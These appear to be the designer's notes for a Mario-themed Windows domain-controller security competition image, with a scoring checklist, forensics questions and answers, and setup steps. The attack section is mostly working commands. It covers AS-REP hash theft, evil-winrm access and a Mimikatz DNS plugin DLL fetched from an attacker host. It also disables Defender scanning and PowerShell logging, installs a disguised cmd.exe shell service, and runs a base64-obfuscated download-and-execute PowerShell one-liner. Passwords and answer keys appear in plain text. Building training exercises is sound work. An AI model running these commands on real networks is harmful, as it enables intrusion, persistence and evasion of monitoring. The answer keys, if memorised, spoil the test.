**AUTHORIZED USERS [+ MAGISTRATE:\_MagistrateScoring000]**

Mario (YOU) [Domain Admin] (Password: S3cure%The%Shr00ms)

Luigi (DC, Head of IT) [Domain Admin] (Password: princess)

Wario (Offering Bouncer Services) [Domain User]

Yoshi (Selling Shrooms) [Domain User]

Peach (Website Manager) [Domain User] (Password:mario)

Toad (IT Intern: In ‘IT Interns’ OU) [Domain Admin as Vuln]

Lakitu (Selling Spikey Bois) [Domain User] (SQL login password: spikeylyfe)

Hoot (Delivery Guy) [Domain User]

Koopa (Delivery Guy) [Domain User]

MIPS (Delivery Guy) [Domain User]

Dorrie (Selling Rides) [Domain User]

Tuxie (Selling child) [Domain User]

Eyerok (Selling eye patches) [Domain User]

**DEV-ONLY (CHECKS LIST) Score DR CI2 Deployment States**

1. Forensics Question 1 is correct 04 points 0 FQ1c0uIy **[D:Y][T:Y][A:Y]**[B:Y][P:Y]
2. Forensics Question 2 is correct 06 points 0 FQ2EnCx8 **[D:Y][T:Y][A:Y]**[B:Y][P:Y]
3. Forensics Question 3 is correct 08 points 0 FQ3d8NNx **[D:Y][T:Y][A:Y]**[B:Y][P:Y]
4. Forensics Question 4 is correct 04 points 0 FQ4bVoii **[D:Y][T:Y][A:Y]**[B:Y][P:Y]
5. Forensics Question 5 is correct 10 points 0 FQ57x6Ef **[D:Y][T:Y][A:Y]**[B:Y][P:Y]
6. Anonymous LDAP bind is disabled 06 points 0 LDAPnEE1 **[D:Y][T:Y][A:Y]**[B:Y][P:Y]
7. Kerberos Pre-Authentication is enabled for Luigi 07 points 0 KERuP4dD **[D:Y][T:Y][A:Y]**[B:Y][P:Y]
8. Peach’s password has been invalidated 03 points 0 PPWv9Emg **[D:Y][T:Y][A:Y]**[B:Y][P:Y]
9. PowerShell Remoting is completely disabled 05 points 0 RPSc92Q8 **[D:Y][T:Y][A:Y]**[B:Y][P:Y]
10. Replication of ‘Directory Changes All’ is disabled for Peach 05 points 0 REPds79o **[D:Y][T:Y][A:Y]**[B:Y][P:Y]
11. Toad is not a Domain Admin 02 points 0 NDA8eef9 **[D:Y][T:Y][A:Y]**[B:Y][P:Y]
12. Password for Peach is set to expire 01 points 0 PEACH69z **[D:Y][T:Y][A:Y]**[B:Y][P:Y]
13. IT intern OU created and populated 02 points 0 ITOUbonk **[D:Y][T:Y][A:Y]**[B:Y][P:Y]
14. Project 64 has been removed 01 points 0 P64czx97 **[D:Y][T:Y][A:Y]**[B:Y][P:Y]
15. Removed psexec service backdoor 05 points 0 PSEl9qZi **[D:Y][T:Y][A:Y]**[B:Y][P:Y]
16. Additional LSA protection enabled 06 points 0 LSAGOOD1 **[D:Y][T:Y][A:Y]**[B:Y][P:Y]
17. IIS Directory Browsing is disabled 02 points 0 IDBmQe09 **[D:Y][T:Y][A:Y]**[B:Y][P:Y]
18. IIS Detailed Errors are disabled 02 points 0 IDEvs17r **[D:Y][T:Y][A:Y]**[B:Y][P:Y]
19. SQL Server Login Auditing is enabled [Success/Failure/Both] 01 points 0 SSLauE6b **[D:Y][T:Y][A:Y]**[B:Y][P:Y]
20. Removed ‘CONTROL SERVER’ permission from Yoshi 04 points 0 YDbwD838 **[D:Y][T:Y][A:Y]**[B:Y][P:Y]
21. SQL Server is using Windows Authentication 03 points 0 SWAi3mm2 **[D:Y][T:Y][A:Y]**[B:Y][P:Y]
22. Domain Password Complexity Requirements are enforced 02 points 0 PWCghfE9 **[D:Y][T:Y][A:Y]**[B:Y][P:Y]
23. Inetinfo shell removed 05 points 0 NCEZ01vF **[D:Y][T:Y][A:Y]**[B:Y][P:Y]
24. SMBv1 is disabled 03 points 0 SMBuWuce **[D:Y][T:Y][A:Y]**[B:Y][P:Y]
25. SMB Compression is disabled 05 points 0 SMBu4Tyi **[D:Y][T:Y][A:Y]**[B:Y][P:Y]
26. SMB Server-wide encryption is enabled 02 points 0 SMBekf2v **[D:Y][T:Y][A:Y]**[B:Y][P:Y]
27. HTTPS self-signed certificate has been applied 02 points 0 TLSjjwfC **[D:Y][T:Y][A:Y]**[B:Y][P:Y]
28. DNS SIGRed workaround has been applied 05 points 0 SIGRedXD **[D:Y][T:Y][A:Y]**[B:Y][P:Y]
29. All users are not trusted for delegation (domain policy) 03 points 0 UDDaeiou **[D:Y][T:Y][A:Y]**[B:Y][P:Y]
30. Mimikatz DnsServerPluginDll has been removed 06 points 0 KATzzz99 **[D:Y][T:Y][A:Y]**[B:Y][P:Y]
31. Redteam attack (raw tcp 443 loopback & pull script) 00 points 0 redTEAM0 **[D:Y][T:Y][A:Y]**[B:Y][P:Y]

**PENALTIES**

1. An authorized user has been damaged/removed (Mario) -12 points 0 b1GredUc **[D:Y][T:Y][A:Y]**[B:Y][P:Y]
2. An authorized user has been damaged/removed (Luigi) -12 points 0 BiggR33n **[D:Y][T:Y][A:Y]**[B:Y][P:Y]
3. An authorized user has been damaged/removed (Wario) -08 points 0 waRdie00 **[D:Y][T:Y][A:Y]**[B:Y][P:Y]
4. An authorized user has been damaged/removed (Yoshi) -08 points 0 SHEm120x **[D:Y][T:Y][A:Y]**[B:Y][P:Y]
5. An authorized user has been damaged/removed (Peach) -08 points 0 RIPhgY2E **[D:Y][T:Y][A:Y]**[B:Y][P:Y]
6. An authorized user has been damaged/removed (Toad) -12 points 0 TOADTOAD **[D:Y][T:Y][A:Y]**[B:Y][P:Y]
7. An authorized user has been damaged/removed (Lakitu) -08 points 0 LTUXn82n **[D:Y][T:Y][A:Y]**[B:Y][P:Y]
8. An authorized user has been damaged/removed (Hoot) -08 points 0 WHOs8gh2 **[D:Y][T:Y][A:Y]**[B:Y][P:Y]
9. An authorized user has been damaged/removed (Koopa) -08 points 0 KTQle6nG **[D:Y][T:Y][A:Y]**[B:Y][P:Y]
10. An authorized user has been damaged/removed (MIPS) -08 points 0 BUN0idLl **[D:Y][T:Y][A:Y]**[B:Y][P:Y]
11. An authorized user has been damaged/removed (Dorrie) -08 points 0 BLUiiiu4 **[D:Y][T:Y][A:Y]**[B:Y][P:Y]
12. An authorized user has been damaged/removed (Tuxie) -08 points 0 TUXctfog **[D:Y][T:Y][A:Y]**[B:Y][P:Y]
13. An authorized user has been damaged/removed (Eyerok) -08 points 0 EYEh4NDs **[D:Y][T:Y][A:Y]**[B:Y][P:Y]
14. SQL Server Service is unavailable -20 points 0 SQLnVue4 **[D:Y][T:Y][A:Y]**[B:Y][P:Y]
15. World Wide Web Publishing Service is unavailable -30 points 0 WWW8gJse **[D:Y][T:Y][A:Y]**[B:Y][P:Y]
16. DNS Service is unavailable -20 points 0 DNSnoDnS **[D:Y][T:Y][A:Y]**[B:Y][P:Y]
17. Server has been updated -30 points 0 README11 [D:N][T:N][A:N][B:N][P:N]

**CATEGORIES**

1. Forensics
2. Access Control
3. Unauthorized Files and Applications
4. Persistence Mechanisms
5. Security Policies
6. Application Security
7. Penalties
8. Engine Internals

**FORENSICS QUESTIONS**

1. AD Recycle bin SID (old bowser account)
2. Powershell Transcription (<insert question here>)
3. What is luigi’s password? (crack ntlm hash lol)
4. What is the id of the column encrypted in the SQL database for the <website name here>?
5. What commands is Bowser running to take down the services running on this machine?

**QUESTION 1**

*According to Kingdom Management, suspicious activity appeared under a user that no longer exists.*

*What is the SID (Security Identifier) of the deleted user?*

EXAMPLE: S-1-5-21-1234567890-123456789-1234567890-2019

ANSWER: S-1-5-21-2784171390-1266567518-1641001447-1601

**QUESTION 2**

*Under the same deleted user, a specific command was used to escalate privileges and leak user information.*

*What command was run to load this escalation mechanism?*

EXAMPLE: accesschk.exe /accepteula -uwcqv ‘Authenticated Users’ \*

ANSWER: dnscmd mushroom.kingdom /config /serverlevelplugindll C:\Windows\System32\mkxproxyloader.dll

**QUESTION 3**

*After this system was breached, logs showed initial activity escalating from Luigi's account. Due to the lack of password policies in place, we believe Luigi's password was compromised.*

*What is Luigi's current plaintext password?*

EXAMPLE: iloveyou2

ANSWER: princess

**QUESTION 4**

*This Domain Controller is running an E-COM website at http://mushroom.kingdom for clients in this domain.*

*According to the MS-SQL database also running on this system, what is the hexadecimal representation of Lakitu's SQL password hash?*

EXAMPLE: 657665727920636F7079206F6620736D363420697320706572736F6E616C697A65645b2d2d3e2073686f75746f75747320746f2073696d706c65666c697073203c2d2d5d

ANSWER: 0200A37A23FD8751B5FC6C7EAEF9D29457E13CC0C1036427AE54E239F8B11C93248CDD74F9D69DCC05CFBD17DBA4C0A2610F0D960AB61472A6355A9F091AB1FC83862B229D0F

**QUESTION 5**

*At a regular interval, several dangerous commands are being executed against this domain controller from a remote location, thus leading management to believe it is some sort of malicious script. Unfortunately, no transcription logs appear to show where this script is coming from, nor what commands are being run on this system. It is important that whatever activity is occuring should be stopped immediately while maintaining our critical services for the kingdom. Please report your findings below.*

*What is the name of the script being downloaded and executed?*

EXAMPLE: PowerUp.ps1

ANSWER: GoombasWrath.ps1

Bowser github login:

[bowser1337@shiversoft.net](mailto:bowser1337@shiversoft.net) P!enpq~Sm5&%

NOTES

Resources (Profile Pictures, Characters, etc)

<https://mario.fandom.com/wiki/Category:Characters_in_Super_Mario_64>

Mouse cursor potentially; Also, literal eggs…

<http://www.mariouniverse.com/wp-content/img/sprites/n64/sm64/misc-2.png>

How to encrypt SQL columns

<https://docs.microsoft.com/en-us/sql/relational-databases/security/encryption/encrypt-a-column-of-data?view=sql-server-ver15>

Audit Successful logon → Pwning Luigi

Audit Process creation → Luigi starts shell

Default ‘sa’ account password: Mushr00mKingd0mSA

DEPLOYMENT

SafeModeAdministratorPassword: LisReal2401

Install Project64 with default settings

Download sm64 from <https://sites.google.com/site/supermario64download/Home/download-super-mario-64>

Place in C:/Users/Mario/Downloads

Select rom directory for Project64 to be that directory

SMB shares for users

Copy Inetinfo.exe to system32

sc.exe create inetinfo.exe binpath= “cmd /C C:\windows\system32\Inetinfo.exe -BWSR 443 -X cmd.exe” type= own start= auto error= critical displayname= “Internet Information Services SSL Handler”

sc.exe description inetinfo.exe “Handles incoming secure web requests and directs them to the correct networking handler”error

sc.exe sdset inetinfo.exe D:(D;;DCLCWPDTSD;;;IU)(D;;DCLCWPDTSD;;;SU)(D;;DCLCWPDTSD;;;BA)(A;;CCLCSWLOCRRC;;;IU)(A;;CCLCSWLOCRRC;;;SU)(A;;CCLCSWRPWPDTLOCRRC;;;SY)(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;BA)S:(AU;FA;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;WD)

**Administrator: Set gp password, edit domain, force, gpupdate**

New-ADUser -Name Luigi -SamAccountName Luigi -Enabled $true -AccountPassword $(ConvertTo-SecureString "princess" -AsPlainText -Force)

Add-ADGroupMember -Identity "Domain Admins" -Members (Get-ADUser Luigi)

**LOGIN AS LUIGI:**

**# CREATE USER ACCOUNTS**

$DomainAdmins = @(

"Toad"

)

$DomainUsers = @(

"Wario",

"Yoshi",

"Lakitu",

"Hoot",

"Koopa",

"MIPS",

"Dorrie",

"Tuxie",

"Eyerok"

)

ForEach($user in $DomainAdmins) {

New-ADUser -Name $user -SamAccountName $user -Enabled $true -AccountPassword $(ConvertTo-SecureString "csseisdead" -AsPlainText -Force)

Add-ADGroupMember -Identity "Domain Admins" -Members (Get-ADUser $user)

}

ForEach($user in $DomainUsers) {

New-ADUser -Name $user -SamAccountName $user -Enabled $true -AccountPassword $(ConvertTo-SecureString "csseisdead" -AsPlainText -Force)

}

New-ADUser -Name Mario -SamAccountName Mario -Enabled $true -AccountPassword $(ConvertTo-SecureString "S3cure%The%Shr00ms" -AsPlainText -Force)

New-ADUser -Name Peach -SamAccountName Peach -Enabled $true -AccountPassword $(ConvertTo-SecureString "mario" -AsPlainText -Force)

Add-ADGroupMember -Identity "Domain Admins" -Members (Get-ADUser Mario)

**# ALLOW USERS TO LOGIN LOCALLY (HORRIBLE PRACTICE)**

* **Set Everyone, Administrators**
* **gpupdate /force**

**# CREATE USER PROFILES**

$DomainUsers = @(

"Wario",

"Yoshi",

"Lakitu",

"Hoot",

"Koopa",

"MIPS",

"Dorrie",

"Tuxie",

"Eyerok",

"Mario",

"Peach",

"Toad"

)

ForEach($user in $DomainUsers) {

runas /profile /user:$user cmd

}

**# Active Directory Users and Computers tool installation**

[**https://www.pcwdld.com/active-directory-users-computers-not-showing-administrative-tools**](https://www.pcwdld.com/active-directory-users-computers-not-showing-administrative-tools)

**# Set Peach’s password to NEVER expire**

* **Active Directory Users and Computers**
* **Password never expires**

**# Set Luigi to not Kerb Pre-Auth**

* **Active Directory Users and Computers**
* **Do not require kerb pre-auth**

**# Anonymous LDAP**

* **ADSI Edit**
* **Connect to Configuration**
* **Navigate to "CN=Directory Service,CN=Windows NT,CN=Services,CN=Configuration,DC=mushroom,DC=kingdom"**
* **Set dsHeuristics properties value to “0000002”**
* **Connect to Default Naming Context**
* **Allow “ANONYMOUS LOGON” to read DC=mushroom,DC=kingdom and CN=Users,DC=mushroom,DC=kingdom**

**# Install IIS**

* **Server Manager**
* **Manage -> Install Roles/Features**
* **IIS**

**# Configure IIS**

* **Default Document**
* **Detailed Errors**
* **Set web location to C:\MKShop (bruh)**
* **Download PHP**

**# Configure SMB**

* **Enable SMBv1 Feature and through Set-SmbServerConfiguration**

**# Enable WinRM**

* **Enable-PSRemoting -Force**

**# SQL Server 2019 setup**

**CLEAR IE HISTORY!!!!!**

**CLEAR POWERSHELL HISTORY!!!!**

**CLEAR TEMP**

**CLEAR RECYCLE BIN**

**ATTACK**

- **Open tcp/443 on the firewall (For inetinfo shell)**

- netsh advfirewall firewall add rule name="World Wide Web Services (HTTPS-In)" dir=in action=allow protocol=TCP localport=443

**- PS TRANSCRIPTION LOG LOCATION: C:\Windows\security\logs\scrtp**

**Anonymous LDAP Enumeration**

- ldapsearch -x -b "dc=mushroom,dc=kingdom" -H ldap://*<MUSHROOM-KINGDOM-DC-IP>*

**DOWNLOAD AND SETUP EVIL-WINRM**

* [**https://github.com/Hackplayers/evil-winrm**](https://github.com/Hackplayers/evil-winrm)

**Get KRB5 hash for Luigi**

- python3 /usr/share/doc/python3-impacket/examples/GetNPUsers.py -usersfile user.list -format john -outputfile hashes.txt -dc-ip *<MUSHROOM-KINGDOM-DC-IP>* MUSHROOM/

**Crack KRB5 hash for Luigi with John (NOT REQUIRED)**

- john ./hashes.txt --wordlist=/usr/share/wordlists/rockyou.txt

**Get Luigi PS session over evil-winrm**

* ruby evil-winrm.rb -i <ip> -u Luigi -p princess

**Upload Mimikatz ServerPluginDll:**

- Make sure you are hosting a SimpleHTTPServer instance with the proxyloader dlls

- **Run the following commands through Luigi's account (Evil-WinRM)**

- whoami /all

- net user Luigi

- New-ADUser -Name Bowser -SamAccountName Bowser -Enabled $true -AccountPassword $(ConvertTo-SecureString "G00mbaHav0c" -AsPlainText -Force)

- Add-ADGroupMember "Domain Admins" -Members (Get-ADUser Bowser)

**- Run the following commands through Bowser's account (Evil-WinRM)**

- Add-MpPreference -ExclusionExtension "exe", "dll"

- iwr -Uri http://<attacker-ip>/mksproxy.dll -OutFile C:\Windows\SysWOW64\mksproxy.dll

- iwr -Uri http://<attacker-ip>/mkxproxyloader.dll -OutFile C:\Windows\System32\mkxproxyloader.dll

- dnscmd mushroom.kingdom /config /serverlevelplugindll C:\Windows\System32\mkxproxyloader.dll

- sc.exe stop dns

- sc.exe start dns

- Query Transcription logs (powershell.exe "Get-ItemProperty HKLM:\Software\Policies\Microsoft\Windows\PowerShell\Transcription")

**- Got caught; STOP TRANSCRIPTION**

- Set-ItemProperty HKLM:Software\Policies\Microsoft\Windows\PowerShell\Transcription -Name EnableTranscripting -Value 0

- Start a new session if you need winrm again for any reason...

**Upload psexec shell**

* psexec.py mushroom.kingdom/Bowser@*<MUSHROOM-KINGDOM-DC-IP>*
* Keep the shell open for the remainder of the attack; Just don’t touch it..

**Upload Inetinfo.exe shell:**

- Do this through WINRM

- Make sure you are hosting a SimpleHTTPServer instance with the backdoor in it

- Get Inetinfo.exe shell on the system

iwr -Uri http://192.168.40.134:1996/Inetinfo.exe -OutFile C:\Windows\System32\Inetinfo.exe"

**- Create Inetinfo.exe shell service**

- sc.exe create inetinfo.exe binpath= “cmd /C C:\windows\system32\Inetinfo.exe -BWSR 443 -X cmd.exe” type= own start= auto error= critical displayname= “Internet Information Services SSL Handler”

- sc.exe description inetinfo.exe “Handles incoming secure web requests and directs them to the correct networking handler”

- sc.exe sdset inetinfo.exe "D:(D;;DCLCWPDTSD;;;IU)(D;;DCLCWPDTSD;;;SU)(D;;DCLCWPDTSD;;;BA)(A;;CCLCSWLOCRRC;;;IU)(A;;CCLCSWLOCRRC;;;SU)(A;;CCLCSWRPWPDTLOCRRC;;;SY)(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;BA)S:(AU;FA;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;WD)"

- Start CORONA shell service

- sc.exe start inetinfo.exe

**PRESS CTRL+C ON PSEXEC SESSION TO MAKE SURE THE SERVICE IS NOT CLEANED UP**

**SERVICE NAME: FFUX**

**SERVICE EXE: C:\Windows\dYSZrOCn.exe**

**BOWSER SID: S-1-5-21-2784171390-1266567518-1641001447-1601**

**Attack Prep:**

**+ Get mimikatz dll built**

**RIGHT BEFORE STARTING:**

**+ Add https rule to firewall via luigi**

**+ Install Verisign cert.**

**+ Clear Internet History**

**+ Close GP objects in GPMC**

**+ Clear Powershell History**

**+ Clear internet temp folder**

**+ Clear all recycle bins**

**+ Clear VMWare temp**

**+ Clear Recent Locations**

**+ Clear Shellbags**

**+ Flush DNS**

**+ Flush ARP**

**+ Pin sql manager to desktop of mario**

**+ Enable ps transcription (via lgpo)**

**+ Add reg key HKLM\System\currentcontrolset\Services\Magistrate:env 82020 (REMEMBER TO CHANGE TO DECIMAL)**

**After Attack:**

**+ As luigi -- Delete bowser's account**

**+ Get SID of bowser and add to engine question**

Shell command line:

reg add “HKEY\_LOCAL\_MACHINE\Software\Policies\Microsoft\Windows\PowerShell\Transcription” /v EnableTranscripting /d 0 /f

powershell.exe -ep bypass -noprofile "IEX (New-Object Net.WebClient).DownloadString([System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String('aHR0cHM6Ly9yYXcuZ2l0aHVidXNlcmNvbnRlbnQuY29tL2Jvd3NlcjEzMzcvc2VjcmV0LXNjcmlwdC9tYXN0ZXIvR29vbWJhc1dyYXRoLnBzMQ==')))"

ATTACK 2

Set-ItemProperty HKLM:Software\Policies\Microsoft\Windows\PowerShell\Transcription -Name EnableTranscripting -Value 0

// Start new session

Fix inetinfo sddl

Sc.exe stop inetinfo

Taskkill /f /im inetinfo.exe

iwr -Uri https://gsc.dev/inetinfo.exe -OutFile C:\Windows\System32\inetinfo.exe

sc.exe config inetinfo.exe binPath= "cmd /C C:\windows\system32\inetinfo.exe -dLp 443 -e cmd.exe"

Break inetinfo sddl

mklink "C:\ProgramData\Microsoft\Windows Defender:securefolder" "\??\NUL"

//restart server

**BETA ACCESS KEY: ieebahw0obznRaPT**

**PROD ACCESS KEY: MushroomMan64**

BETA TAKEAWAYS:

1. There are multiple ways to solve many problems. Try to include the following alternatives for these vulns:
   1. For FQ1, try including event logs, along with ad recycle bin
   2. For FQ5, try including procmon, along with network traffic analyzation
2. Compatibility for zipping is much more important than size differentials.